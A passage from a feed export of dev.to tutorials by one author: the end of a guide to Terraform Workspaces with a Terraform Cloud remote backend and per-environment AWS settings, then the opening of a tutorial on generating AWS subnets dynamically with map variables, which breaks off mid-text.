&lt;span class="k"&gt;terraform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;required_version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt; 0.12"&lt;/span&gt;
  &lt;span class="nx"&gt;backend&lt;/span&gt; &lt;span class="s2"&gt;"remote"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;hostname&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"app.terraform.io"&lt;/span&gt;
    &lt;span class="nx"&gt;organization&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tutorials"&lt;/span&gt;
    &lt;span class="nx"&gt;workspaces&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;prefix&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tf-tutorial-workspaces-"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Some explanations to the code above:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;em&gt;profile&lt;/em&gt; - Will be selected according to environment (Workspace)&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;region&lt;/em&gt; - Will be selected according to environment (Workspace)&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;backend "remote" {}&lt;/em&gt; - configuring our backend

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;hostname&lt;/em&gt; - This is the configuration that tells our tfstate to be hosted remotely in &lt;em&gt;app.terraform.io&lt;/em&gt; (Terraform Cloud)&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;organization&lt;/em&gt; - the organization that we've created in Terraform Cloud&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;workspaces&lt;/em&gt; - Since we're using multiple Workspaces (environments), we need to use the keyword &lt;em&gt;prefix&lt;/em&gt;. Take the prefix of your workspaces and add a dash (&lt;em&gt;-&lt;/em&gt;) to the end of it, just like in the code above&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: The backend's configuration currently does not support using variables/local values. We have to hardcode our prefix; otherwise, I would've used &lt;code&gt;"${local.profile_prefix}-"&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  variables.tf
&lt;/h3&gt;

&lt;p&gt;Moving on to the &lt;code&gt;variables.tf&lt;/code&gt; file, this is where the magic happens. Before I share 30 lines of code with you, let's break it down for our needs and how we answer those needs.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;em&gt;app_name&lt;/em&gt; - We need to give a name to our application, this will serve as a prefix for all of our resources&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;profile_prefix&lt;/em&gt; - For convenience, will be used in the local value &lt;em&gt;profile&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;profile&lt;/em&gt; - We need a map for profile per environment (Workspace), used in &lt;code&gt;main.tf&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;region&lt;/em&gt; - We need a map for region per environment (Workspace), also used in &lt;code&gt;main.tf&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;environment&lt;/em&gt; - We need to initialize this variable with the name of the Workspace we're currently using, luckily we have &lt;code&gt;terraform.workspace&lt;/code&gt; for doing that&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;common_tags&lt;/em&gt; - For convenience, we will use it in all resources, it will help us mark the resources that are managed by Terraform&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;name_prefix&lt;/em&gt; - For convenience, we will use it in all resources&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;app_name&lt;/span&gt;       &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"workspaces-app"&lt;/span&gt;
  &lt;span class="nx"&gt;profile_prefix&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tf-tutorial-workspaces"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;profile&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"development"&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profile_prefix&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-development"&lt;/span&gt;
    &lt;span class="s2"&gt;"qa"&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profile_prefix&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-qa"&lt;/span&gt;
    &lt;span class="s2"&gt;"staging"&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profile_prefix&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-staging"&lt;/span&gt;
    &lt;span class="s2"&gt;"production"&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profile_prefix&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-production"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"development"&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"us-west-2"&lt;/span&gt;
    &lt;span class="s2"&gt;"qa"&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"us-east-2"&lt;/span&gt;
    &lt;span class="s2"&gt;"staging"&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"us-east-1"&lt;/span&gt;
    &lt;span class="s2"&gt;"production"&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ca-central-1"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;environment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${terraform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;common_tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;Terraform&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"true"&lt;/span&gt;
    &lt;span class="nx"&gt;Environment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;name_prefix&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;app_name&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: I split the local values into four groups to make it more readable and organized.&lt;/p&gt;

&lt;p&gt;Everything is ready! Now we need to initialize Terraform to make it work with Workspaces and a remote backend that stores tfstate.&lt;/p&gt;
&lt;h2&gt;
  
  
  Select relevant terraformrc configuration file
&lt;/h2&gt;

&lt;p&gt;We've created the files &lt;code&gt;terraformrc-team&lt;/code&gt; and &lt;code&gt;terraformrc-user&lt;/code&gt;, since we're doing manual work and we're not executing CI/CD pipeline, we'll use the &lt;code&gt;terraformrc-user&lt;/code&gt;.&lt;br&gt;
The environment variable &lt;a href="https://www.terraform.io/docs/commands/environment-variables.html#tf_cli_config_file" rel="noopener noreferrer"&gt;TF_CLI_CONFIG_FILE&lt;/a&gt; defines the location of the configuration file that will be used for the current run.&lt;/p&gt;

&lt;p&gt;Assuming your current working directory is your project's directory:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export TF_CLI_CONFIG_FILE="${PWD}/.terraformrc-user"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You can set this environment variable automatically on system startup, follow these instructions: &lt;a href="https://unix.stackexchange.com/a/21600/368610" rel="noopener noreferrer"&gt;Windows Git Bash&lt;/a&gt;, &lt;a href="https://askubuntu.com/a/58828/961789" rel="noopener noreferrer"&gt;Ubuntu&lt;/a&gt;, &lt;a href="https://apple.stackexchange.com/a/106823" rel="noopener noreferrer"&gt;MacOS&lt;/a&gt;.&lt;br&gt;
Make sure you replace &lt;code&gt;${PWD}&lt;/code&gt; with the absolute path to &lt;code&gt;.terraformrc-user&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Initialize Terraform
&lt;/h2&gt;

&lt;p&gt;Make sure you're in the repository's working dir, in my case it's &lt;code&gt;./tf-tutorial-workspaces&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Execute:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;terraform init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;When prompted to select a Workspace, insert one (1), and hit &lt;em&gt;ENTER&lt;/em&gt;, it doesn't matter at this point.&lt;/p&gt;

&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initializing the backend...

The currently selected workspace (default) does not exist.
  This is expected behavior when the selected workspace did not have an
  existing non-empty state. Please enter a number to select a workspace:

  1. development
  2. production
  3. qa
  4. staging

  Enter a value: 1


Initializing provider plugins...
- Checking for available provider plugins...
- Downloading plugin for provider "aws" (hashicorp/aws) 2.29.0...

Terraform has been successfully initialized!

# omitted the rest of the text for brevity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Troubleshooting - terraform init
&lt;/h3&gt;
&lt;h4&gt;
  
  
  "local.environment is default"
&lt;/h4&gt;

&lt;p&gt;This error happens when Execution Mode is Remote in the Workspace's settings. The Remote Execution Mode doesn't work with the &lt;code&gt;terraform.workspace&lt;/code&gt; variable, so make sure you set it in the Workspace's settings to Local, at least until the &lt;a href="https://github.com/hashicorp/terraform/issues/22802" rel="noopener noreferrer"&gt;issue22802&lt;/a&gt; is fixed.&lt;/p&gt;
&lt;h1&gt;
  
  
  Share tfstate and Workspaces with colleagues
&lt;/h1&gt;

&lt;p&gt;Everything we did so far was the initial setup. Now tell your colleagues to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create an account in Terraform Cloud - and then you need to add them to you your organization, click organization name --&amp;gt; Settings --&amp;gt; Teams --&amp;gt; owners --&amp;gt; Add a New Member

&lt;ul&gt;
&lt;li&gt;If you can't see &lt;strong&gt;owners&lt;/strong&gt;, then it's ok, click on Add Users and it will add this user to the &lt;strong&gt;owners&lt;/strong&gt; team. The &lt;strong&gt;owners&lt;/strong&gt; team is the default team&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Configure Terraform credentials with user token  in &lt;code&gt;.terraformrc-user&lt;/code&gt; - just like you did earlier. Don't forget to select TF_CLI_CONFIG_FILE&lt;/li&gt;
&lt;li&gt;Create AWS named profiles (config, credentials), just like you did earlier&lt;/li&gt;
&lt;li&gt;Execute &lt;code&gt;terraform init&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Your colleagues will now be using the same tfstate file you're using, and they can access the Workspaces that you've already created.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: Instead of adding users to the &lt;code&gt;owners&lt;/code&gt; team, you should create a team per department/actual team, for example, developers-team, operations-team, etc.&lt;/p&gt;
&lt;h1&gt;
  
  
  Working with Workspaces
&lt;/h1&gt;
&lt;h2&gt;
  
  
  Select Workspace (environment)
&lt;/h2&gt;

&lt;p&gt;You'll be amazed by how simple it is to select the environment, here are the available commands:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;terraform workspace list&lt;/code&gt; - List available Workspaces&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;terraform workspace select workspace_name&lt;/code&gt; - Select relevant Workspace&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;terraform workspace show&lt;/code&gt; - Shows the selected Workspace&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;terraform apply&lt;/code&gt; - Apply changes to infrastructure&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;terraform destroy&lt;/code&gt; - Destroy infrastructure&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;
  
  
  Example for usage
&lt;/h1&gt;
&lt;h2&gt;
  
  
  Adding resources to your git repository
&lt;/h2&gt;

&lt;p&gt;Let's add an S3 bucket:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;s3.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_s3_bucket"&lt;/span&gt; &lt;span class="s2"&gt;"bucket"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;count&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;create_s3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nx"&gt;bucket&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name_prefix&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-s3"&lt;/span&gt;
  &lt;span class="nx"&gt;acl&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"private"&lt;/span&gt;
  &lt;span class="nx"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

  &lt;span class="nx"&gt;versioning&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;enabled&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;common_tags&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;s3.variables.tf&lt;/code&gt; - A good example of how we can control the creation of resources per environment.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;create_s3&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"development"&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="s2"&gt;"qa"&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="s2"&gt;"staging"&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="s2"&gt;"production"&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The current project structure:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.
├── LICENSE
├── README.md
├── main.tf
├── s3.tf
├── s3.variables.tf
└── variables.tf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This project is available on GitHub: &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/unfor19" rel="noopener noreferrer"&gt;
        unfor19
      &lt;/a&gt; / &lt;a href="https://github.com/unfor19/tf-tutorial-workspaces" rel="noopener noreferrer"&gt;
        tf-tutorial-workspaces
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Learn how to use Terraform Cloud and Workspaces
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  Example
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ terraform workspace list
* development
  production
  qa
  staging
$ terraform workspace select qa
$ terraform apply
Acquiring state lock. This may take a few moments...

# omitted text for brevity

  # aws_s3_bucket.bucket[0] will be created
  + resource "aws_s3_bucket" "bucket" {
      + acceleration_status         = (known after apply)
      + acl                         = "private"
      + arn                         = (known after apply)
      + bucket                      = "workspaces-app-qa-s3"
      + bucket_domain_name          = (known after apply)
      + bucket_regional_domain_name = (known after apply)
      + force_destroy               = false
      + hosted_zone_id              = (known after apply)
      + id                          = (known after apply)
      + region                      = "us-east-2"
      + request_payer               = (known after apply)
      + tags                        = {
          + "Environment" = "qa"
          + "Terraform"   = "true"
        }
# omitted arguments for brevity
    }

Plan: 1 to add, 0 to change, 0 to destroy.

Do you want to perform these actions in workspace "qa"?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the S3 bucket name and region! Everything indicates that we're working on the qa Workspace, woohoo!&lt;/p&gt;

&lt;h4&gt;
  
  
  Troubleshooting - terraform plan
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error: error starting operation: The configured "remote" backend encountered an unexpected error:

invalid value for workspace
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You executed a &lt;code&gt;terraform plan&lt;/code&gt; or &lt;code&gt;terraform apply&lt;/code&gt; without selecting a Workspace. Make sure you select a Workspace first.&lt;/p&gt;

&lt;h1&gt;
  
  
  Final words
&lt;/h1&gt;

&lt;p&gt;Terraform Cloud service is still new, but it's fantastic, and if you have any questions or comments, fire at will!&lt;/p&gt;

&lt;p&gt;My next article will be about how to use 3rd-party binaries, such as aws-vault and Terraform, in Windows Git Bash.&lt;/p&gt;

&lt;p&gt;Did you like this tutorial? Clap/heart/unicorn and share it with your friends and colleagues.&lt;/p&gt;




&lt;p&gt;Originally published at &lt;a href="https://www.prodops.io/blog/terraform-workspaces-and-remote-state" rel="noopener noreferrer"&gt;https://prodops.io&lt;/a&gt; on October 6, 2019.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>terraform</category>
      <category>devops</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Terraform AWS - Dynamic Subnets</title>
      <dc:creator>Meir Gabay</dc:creator>
      <pubDate>Fri, 20 Sep 2019 12:10:24 +0000</pubDate>
      <link>https://forem.com/prodopsio/terraform-aws-dynamic-subnets-2cgo</link>
      <guid>https://forem.com/prodopsio/terraform-aws-dynamic-subnets-2cgo</guid>
      <description>&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - &lt;a href="https://github.com/hashicorp/terraform/blob/v0.12.11/CHANGELOG.md#01211-october-17-2019"&gt;17-Oct-2019 changelog&lt;/a&gt;: Terraform released a new function named &lt;a href="https://www.terraform.io/docs/configuration/functions/cidrsubnets.html"&gt;cidrsubnets&lt;/a&gt;, this function creates a list of cidr-subnets. This function is great, and I recommend using it. Even though this function shortens some parts of this tutorial, you should still read it if you want to learn how to use functions in Terraform.&lt;/p&gt;

&lt;h1&gt;
  
  
  Objectives
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;Create sets of subnets dynamically&lt;/li&gt;
&lt;li&gt;Learn advanced concepts in Terraform

&lt;ul&gt;
&lt;li&gt;map variable and lookup function&lt;/li&gt;
&lt;li&gt;for loop and conditional for loop&lt;/li&gt;
&lt;li&gt;index function in a for loop&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Knowledge and assumptions
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;You are familiar with subnetting (a.b.c.d/xx) - a great online tool for calculating subnets - &lt;a href="https://cidr.xyz"&gt;cidr.xyz&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;You are using Terraform v0.12+&lt;/li&gt;
&lt;li&gt;You have previous experience with:

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.terraform.io/docs/configuration/variables.html"&gt;variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.terraform.io/docs/configuration/locals.html"&gt;local values&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.terraform.io/docs/configuration/modules.html"&gt;modules&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;You know what's a &lt;a href="https://docs.python.org/3/tutorial/controlflow.html#for-statements"&gt;for loop&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;I'll be using the module &lt;a href="https://github.com/terraform-aws-modules/terraform-aws-vpc"&gt;terraform-aws-modules/vpc/aws&lt;/a&gt; for the VPC. This module requires lists of subnets (private, database, public), which is exactly what we're going to create&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Issue #1: Subnets per environment
&lt;/h1&gt;

&lt;p&gt;Hardcoding subnets per environment can be a significant overhead. By doing so, you might end up writing a lot of lines with hardcoded network prefixes.&lt;br&gt;
Moreover, it takes off the flexibility that infrastructure as code (IaC) has to offer.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Set&lt;/strong&gt; cidr_ab per environment
&lt;/h2&gt;

&lt;p&gt;cidr_ab to the rescue! Set the start of the VPC CIDR as a map variable, and map each cidr_ab value to the appropriate environment. If you're not using all four, remove it from the mapping.&lt;/p&gt;

&lt;p&gt;A subnet pattern (prefix) is: &lt;strong&gt;a.b&lt;/strong&gt;.c.d/xx , so this will cover the &lt;strong&gt;a.b&lt;/strong&gt; part of all subnets per environment. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
    &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;development&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.22"&lt;/span&gt;
        &lt;span class="nx"&gt;qa&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.24"&lt;/span&gt;
        &lt;span class="nx"&gt;staging&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.26"&lt;/span&gt;
        &lt;span class="nx"&gt;production&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.28"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;strong&gt;Get&lt;/strong&gt; cidr_ab per environment
&lt;/h2&gt;

&lt;p&gt;Maps and lookup functions provide great functionality, and in our case, it makes it easy to get the cidr_ab per environment.&lt;/p&gt;

&lt;p&gt;Here's the syntax of the &lt;a href="https://www.terraform.io/docs/configuration/functions/lookup.html"&gt;lookup function&lt;/a&gt;: &lt;code&gt;lookup(map, key, default)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To create a local list &lt;code&gt;private_subnets&lt;/code&gt; with the relevant cidr_ab per environment, use the following:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Reminder&lt;/em&gt;: To concatenate an expression and text: "${expression} my text"&lt;br&gt;
&lt;/p&gt;

